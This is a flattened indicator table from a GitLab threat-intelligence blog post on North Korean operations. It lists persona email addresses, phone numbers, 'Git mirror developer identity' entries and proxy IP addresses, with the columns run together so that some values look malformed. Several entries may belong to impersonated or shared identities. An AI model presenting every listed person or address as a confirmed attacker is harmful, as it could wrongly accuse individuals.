email2kostasmichalakakou@gmail.comemailinsiderN/AN/ASynthetic persona email2jokubasbieliauskas1@gmail.comemailinsiderN/AN/ASynthetic persona email2stoilesideropoulos001@outlook.comemailinsiderN/AN/ASynthetic persona email2damjandobrudzhanski@gmail.comemailinsiderN/AN/ASynthetic persona email2kutayijaz@outlook.comemailinsiderN/AN/ASynthetic persona email2simeondimitris001@gmail.comemailinsiderN/AN/ASynthetic persona email2bobituntev001@outlook.comemailinsiderN/AN/ASynthetic persona email2velyokazepov@gmail.comemailinsiderN/AN/ASynthetic persona email2nestorovskiemilija100@gmail.comemailinsiderN/AN/ASynthetic persona email2ankaankahristov@gmail.comemailinsiderN/AN/ASynthetic persona email2randoviska@gmail.comemailinsiderN/AN/ASynthetic persona email2borislavbabic431@gmail.comemailinsiderN/AN/ASynthetic persona email2benicdominik81@gmail.comemailinsiderN/AN/ASynthetic persona email2teoantunovic6@gmail.comemailinsiderN/AN/ASynthetic persona email2popovicjelena727@gmail.comemailinsiderN/AN/ASynthetic persona email2vaskovdime@gmail.comemailinsiderN/AN/ASynthetic persona email2jozefmtech@gmail.comemailinsiderN/AN/ASynthetic persona email2archelaosasani@outlook.comemailinsiderN/AN/ASynthetic persona email2janlindberg80@outlook.comemailinsiderN/AN/ASynthetic persona email2nevenborisov@outlook.comemailinsiderN/AN/ASynthetic persona email2toni.komadina@outlook.comemailinsiderN/AN/ASynthetic persona email2damianwalczak.work@outlook.comemailinsiderN/AN/ASynthetic persona email2denis.dobrovodsky@outlook.comemailinsiderN/AN/ASynthetic persona email2filip.lovren@outlook.comemailinsiderN/AN/ASynthetic persona email2tomislavjurak@outlook.comemailinsiderN/AN/ASynthetic persona email2emilijan.hristov@outlook.comemailinsiderN/AN/ASynthetic persona email2zoran.parlov@outlook.comemailinsiderN/AN/ASynthetic persona email2ivanmatic.fs@outlook.comemailinsiderN/AN/ASynthetic persona email2marcelpaw.lowski@outlook.comemailinsiderN/AN/ASynthetic persona email2tomislavbozic.work@outlook.comemailinsiderN/AN/ASynthetic persona email2dominik.wojk@outlook.comemailinsiderN/AN/ASynthetic persona email2piotrglowacki.pol@outlook.comemailinsiderN/AN/ASynthetic persona email2leonzielinski.pol@outlook.comemailinsiderN/AN/ASynthetic persona email2stanislav.timko@outlook.comemailinsiderN/AN/ASynthetic persona email2oleg.kaplanski@outlook.comemailinsiderN/AN/ASynthetic persona email2rafael.ratkovic@outlook.comemailinsiderN/AN/ASynthetic persona email2mateusz.moczar@outlook.comemailinsiderN/AN/ASynthetic persona email2nadoyankovic@outlook.comemailinsiderN/AN/ASynthetic persona email2dionizy.kohutek@outlook.comemailinsiderN/AN/ASynthetic persona email2emilsvalina@outlook.comemailinsiderN/AN/ASynthetic persona email2kostic.gordan@outlook.comemailinsiderN/AN/ASynthetic persona email2josipbraut@outlook.comemailinsiderN/AN/ASynthetic persona email2mirantrkulja@outlook.comemailinsiderN/AN/ASynthetic persona email2pavlehristov.work@outlook.comemailinsiderN/AN/ASynthetic persona email2vedranpodrug@outlook.comemailinsiderN/AN/ASynthetic persona email2zvonkobogdan.cr@outlook.comemailinsiderN/AN/ASynthetic persona email2filipdamevski001@gmail.comemailinsiderN/AN/ASynthetic persona email2albertoszlar52@outlook.comemailinsiderN/AN/ASynthetic persona email2benjaminellertsson@gmail.comemailinsiderN/AN/ASynthetic persona email2fedorkadoic@gmail.comemailinsiderN/AN/ASynthetic persona email2izakholmberg12@outlook.comemailinsiderN/AN/ASynthetic persona email2markusvillig20@outlook.comemailinsiderN/AN/ASynthetic persona email2reigojakobson45@outlook.comemailinsiderN/AN/ASynthetic persona email2masudtarik69@gmail.comemailinsiderN/AN/ASynthetic persona email2vaikokangur45@outlook.comemailinsiderN/AN/ASynthetic persona email2osogovskiplanini001@outlook.comemailinsiderN/AN/ASynthetic persona email2aleksonikov001@outlook.comemailinsiderN/AN/ASynthetic persona email2angelovaandreev@outlook.comemailinsiderN/AN/ASynthetic persona email2ivanopavic13@gmail.comemailinsiderN/AN/ASynthetic persona email2davorsabolic2@gmail.comemailinsiderN/AN/ASynthetic persona email2juricleon407@gmail.comemailinsiderN/AN/ASynthetic persona email2kondradgodzki@outlook.comemailinsiderN/AN/ASynthetic persona email2velizarborisov.fs@outlook.comemailinsiderN/AN/ASynthetic persona email2trivuniliikc519@gmail.comemailinsiderN/AN/ASynthetic persona email2alexandermori1218@gmail.comemailinsiderN/AN/ASynthetic persona email2smupyknight@outlook.comemailinsiderN/AN/ADPRK developer email2btrs.corp@gmail.comemailinsiderN/AN/ADPRK developer email2byolate@gmail.comemailinsiderN/AN/ADPRK developer email2starneit105@gmail.comemailinsiderN/AN/ADPRK developer email2chrissamuel729@gmail.comemailinsiderN/AN/ADPRK developer email2lozanvranic@gmail.comemailinsiderN/AN/ADPRK developer email2qoneits@outlook.comemailinsiderN/AN/ADPRK developer email2kitdb@outlook.comemailinsiderN/AN/ADPRK developer email2d.musatovdv@gmail.comemailinsiderN/AN/ADPRK developer email2nikola.radomic322@gmail.comemailinsiderN/AN/ADPRK developer email2duykhanh.prodev@gmail.comemailinsiderN/AN/AGit mirror developer identity2chebiinixon91@gmail.comemailinsiderN/AN/AGit mirror developer identity2jeffukus@gmail.comemailinsiderN/AN/AGit mirror developer identity2mohamed_dhifli@hotmail.comemailinsiderN/AN/AGit mirror developer identity2saputranady@gmail.comemailinsiderN/AN/AGit mirror developer identity2ryannguyen0303@gmail.comemailinsiderN/AN/AGit mirror developer identity2fahrultect@gmail.comemailinsiderN/AN/AGit mirror developer identity2patrickjuniorukutegbe@rocketmail.comemailinsiderN/AN/AGit mirror developer identity2fahrultech@gmail.comemailinsiderN/AN/AGit mirror developer identity2mirzayevorzu127@gmail.comemailinsiderN/AN/AGit mirror developer identity2tsunaminori@gmail.comemailinsiderN/AN/AGit mirror developer identity2yhwucss@gmail.comemailinsiderN/AN/AGit mirror developer identity2btrs.corp@gmail.comemailinsiderN/AN/AGit mirror developer identity2ledanglong@gmail.comemailinsiderN/AN/AGit mirror developer identity2cwertlinks@gmail.comemailinsiderN/AN/AGit mirror developer identity2bukoyesamuel9@gmail.comemailinsiderN/AN/AGit mirror developer identity2gwanchi@gmail.comemailinsiderN/AN/AGit mirror developer identity2efezinoukpowe@gmail.comemailinsiderN/AN/AGit mirror developer identity2thnam0107@gmail.comemailinsiderN/AN/AGit mirror developer identity2vijanakaush@gmail.comemailinsiderN/AN/AGit mirror developer identity2luis.miguel208@outlook.comemailinsiderN/AN/AGit mirror developer identity2smupyknight@outlook.comemailinsiderN/AN/AGit mirror developer identity2brankojovovic99@gmail.comemailinsiderN/AN/AAdministrative/testing accounts on abused services2manuetuazon.work@gmail.comemailinsiderN/AN/AAdministrative/testing accounts on abused services2upwork.management.whm@outlook.comemailinsiderN/AN/AAdministrative/testing accounts on abused services21.20.169.90ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2103.106.112.166ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2103.152.100.221ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2103.155.199.28ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2103.174.81.10ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2103.190.171.37ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2103.39.70.248ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2107.178.11.226ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2107.189.8.240ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2113.160.133.32ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2115.72.1.61ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2117.1.101.198ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2121.132.60.117ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2125.26.238.166ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2139.178.67.134ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)214.225.215.117ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2143.110.226.180ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2144.217.207.22ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2146.190.114.113ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2147.28.155.20ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2148.72.168.81ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.229.34ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.229.42ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.229.46ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.229.47ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.229.83ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.229.86ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.229.93ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.231.42ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.231.83ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.231.86ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.231.93ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2152.26.231.94ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2153.92.214.226ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2157.245.59.236ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2171.228.181.120ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2171.99.253.154ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2172.105.247.219ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2173.255.223.18ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2178.63.180.104ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2179.1.195.163ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2184.168.124.233ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2193.227.129.196ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2193.38.244.17ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2194.104.136.243ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2194.164.206.37ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2195.159.124.57ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2195.85.250.12ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)22.59.181.125ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2200.24.159.153ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2200.60.20.11ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2203.150.128.86ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2204.12.227.114ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2222.252.194.204ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2222.252.194.29ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)223.237.145.36ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)231.41.216.122ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)234.122.58.60ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)237.210.118.247ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)237.46.135.225ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)238.158.202.121ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)238.183.146.125ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)24.7.147.233ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)245.119.114.203ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)245.144.166.24ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)245.189.252.218ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)245.81.115.86ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)247.220.151.116ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)250.6.193.80ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)251.159.75.249ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)254.37.207.54ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)257.128.201.50ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)261.198.87.1ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)264.92.82.58ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)264.92.82.59ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)267.43.227.226ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)267.43.227.227ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)267.43.228.253ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)267.43.236.19ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)267.43.236.20ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)272.10.160.171ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)272.10.160.92ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)272.10.164.178ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)274.255.219.229ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)282.180.146.116ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)294.23.153.15ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)295.182.97.53ipv4insiderAugust 2024November 2024Threat actor proxy address (may be shared origin)2ryan.service.1001@gmail.comemailinsiderN/AN/AThreat actor persona email3dmbdev800@gmail.comemailinsiderN/AN/AThreat actor persona email3kari.dev1217@gmailemailinsiderN/AN/AThreat actor persona email3iamjanus66@gmail.comemailinsiderN/AN/AThreat actor persona email34696382784phone numberinsiderN/AN/AThreat actor persona phone number3brianyoung.luck@gmail.comemailinsiderN/AN/AThreat actor persona email4brianyoung0203@gmail.comemailinsiderN/AN/AThreat actor persona email4codingwork.dev@gmail.comemailinsiderN/AN/AThreat actor persona email4jinwangdev531@gmail.comemailinsiderN/AN/AThreat actor persona email4gdavisiv.dev@gmail.comemailinsiderN/AN/AThreat actor persona email4nicolas.edgardo1028@gmail.comemailinsiderN/AN/AThreat actor persona email4alexeilucky23@gmail.comemailinsiderN/AN/AThreat actor persona email4aleksey0753@gmail.comemailinsiderN/AN/AThreat actor persona email4develop498@gmail.comemailinsiderN/AN/AThreat actor persona email44899432@qq.comemailinsiderN/AN/AThreat actor persona email4karsonova1703@gmail.comemailinsiderN/AN/AThreat actor persona email4maximmironenkoreact@gmail.comemailinsiderN/AN/AThreat actor persona email4vitalyandronuke@gmail.comemailinsiderN/AN/AThreat actor persona email4alexeysamsonofff@gmail.comemailinsiderN/AN/AThreat actor persona email4realnitii1@gmail.comemailinsiderN/AN/AThreat actor persona email4devnitin18@gmail.comemailinsiderN/AN/AThreat actor persona email4alexiyevaj@gmail.comemailinsiderN/AN/AThreat actor persona email4initinbhardwaj@yahoo.comemailinsiderN/AN/AThreat actor persona email4anna.putinarus@gmail.comemailinsiderN/AN/AThreat actor persona email4rajukumar127.dev@gmail.comemailinsiderN/AN/AThreat actor persona email4kekisevu@gmail.comemailinsiderN/AN/AThreat actor persona email4anastasiaanufriyenko@gmail.comemailinsiderN/AN/AThreat actor persona email4naterongi@gmail.comemailinsiderN/AN/AThreat actor persona email4andriimalyshenko@yahoo.comemailinsiderN/AN/AThreat actor persona email4gabrygreg1@gmail.comemailinsiderN/AN/AThreat actor persona email4luckydev2289@gmail.comemailinsiderN/AN/AThreat actor persona email4forfuture21@gmail.comemailinsiderN/AN/AThreat actor persona email4darbylee923@gmail.comemailinsiderN/AN/AThreat actor persona email4alexei.lee0203@outlook.comemailinsiderN/AN/AThreat actor persona email4yuriassasin0603@gmail.comemailinsiderN/AN/AThreat actor persona email4luis.lee.tech@gmail.comemailinsiderN/AN/AThreat actor persona email4bryanjsmiranda@gmail.comemailinsiderN/AN/AThreat actor persona email4luislee.software@gmail.comemailinsiderN/AN/AThreat actor persona email4panda95718@gmail.comemailinsiderN/AN/AThreat actor persona email4givometeq@mentonit.netemailinsiderN/AN/AThreat actor persona email4maradanod.favomubo@vintomaper.comemailinsiderN/AN/AThreat actor persona email4humblechoice.dev@gmail.comemailinsiderN/AN/AThreat actor persona email4jairoalberto2208@hotmail.comemailinsiderN/AN/AThreat actor persona email4quxiujun520520@163.comemailinsiderN/AN/AThreat actor persona email4igorslobodyan508@gmail.comemailinsiderN/AN/AThreat actor persona email4brianyoung.lucky@gmail.comemailinsiderN/AN/AThreat actor persona email4valerykrapiv@gmail.comemailinsiderN/AN/AThreat actor persona email4dveretenov@gmail.comemailinsiderN/AN/AThreat actor persona email4blbnlambert34@gmail.comemailinsiderN/AN/AThreat actor persona email4tezauidev@gmail.comemailinsiderN/AN/AThreat actor persona email4nicewitali0311@gmail.comemailinsiderN/AN/AThreat actor persona email4shopstar0907@gmail.comemailinsiderN/AN/AThreat actor persona email4rl6700907@gmail.comemailinsiderN/AN/AThreat actor persona email4naterongi1@gmail.comemailinsiderN/AN/AThreat actor persona email4alexeu005@gmail.comemailinsiderN/AN/AThreat actor persona email4versatile.skydev@gmail.comemailinsiderN/AN/AThreat actor persona email4kevinhelan2@gmail.comemailinsiderN/AN/AThreat actor persona email4cglobalpower923002@gmail.comemailinsiderN/AN/AThreat actor persona email4albertchess990919@gmail.comemailinsiderN/AN/AThreat actor persona email4lorenzo.vidal@mail.ruemailinsiderN/AN/AThreat actor persona email4stolic5star@gmail.comemailinsiderN/AN/AThreat actor persona email4nkvasic5star@gmail.comemailinsiderN/AN/AThreat actor persona email4freelancer.honest.developer@gmail.comemailinsiderN/AN/AThreat actor persona email4viana.mabel3058@gmail.comemailinsiderN/AN/AThreat actor persona email4jairo.business392@yahoo.comemailinsiderN/AN/AThreat actor persona email4jairoacosta00123@gmail.comemailinsiderN/AN/AThreat actor persona email4ferwerwe6@gmail.comemailinsiderN/AN/AThreat actor persona email4maskymlap@gmail.comemailinsiderN/AN/AThreat actor persona email4alexsam.dev@gmail.comemailinsiderN/AN/AThreat actor persona email4kostiaberez369@gmail.comemailinsiderN/AN/AThreat actor persona email4darkrut22@gmail.comemailinsiderN/AN/AThreat actor persona email4jennalolly93@gmail.comemailinsiderN/AN/AThreat actor persona email4vikram.imenso@gmail.comemailinsiderN/AN/AThreat actor persona email4greg.work.pro@gmail.comemailinsiderN/AN/AThreat actor persona email4denish.faldu226@gmail.comemailinsiderN/AN/AThreat actor persona email4janeica.dev@gmail.comemailinsiderN/AN/AThreat actor persona email4mdmahdiuli@gmail.comemailinsiderN/AN/AThreat actor persona email4aronnokunjo@gmail.comemailinsiderN/AN/AThreat actor persona email4hadiulislam391@gmail.comemailinsiderN/AN/AThreat actor persona email4mahdi39980@gmail.comemailinsiderN/AN/AThreat actor persona email4mahdiupwork2002@gmail.comemailinsiderN/AN/AThreat actor persona email4mdmahdiul@gmail.comemailinsiderN/AN/AThreat actor persona email4wildbotgamer@gmail.comemailinsiderN/AN/AThreat actor persona email4tramendo.L@outlook.comemailinsiderN/AN/AThreat actor persona email4dyadkovdevelop@gmail.comemailinsiderN/AN/AThreat actor persona email4tramendo.M@outlook.comemailinsiderN/AN/AThreat actor persona email4Gulfdom0209@outlook.comemailinsiderN/AN/AThreat actor persona email4Wei861420@gmail.comemailinsiderN/AN/AThreat actor persona email4brianyoung0203@outlook.comemailinsiderN/AN/AThreat actor persona email4david@heyadev.comemailinsiderN/AN/AThreat actor persona email4mykytadanylchenko@outlook.comemailinsiderN/AN/AThreat actor persona email4ronaldofanclub112@gmail.comemailinsiderN/AN/AThreat actor persona email4olegevgen@inbox.ltemailinsiderN/AN/AThreat actor persona email415414257086phone numberinsiderN/AN/AThreat actor persona phone number489883507137phone numberinsiderN/AN/AThreat actor persona phone number414358179097phone numberinsiderN/AN/AThreat actor persona phone number43508704464phone numberinsiderN/AN/AThreat actor persona phone number44796004206phone numberinsiderN/AN/AThreat actor persona phone number45596103595phone numberinsiderN/AN/AThreat actor persona phone number4

Source: https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/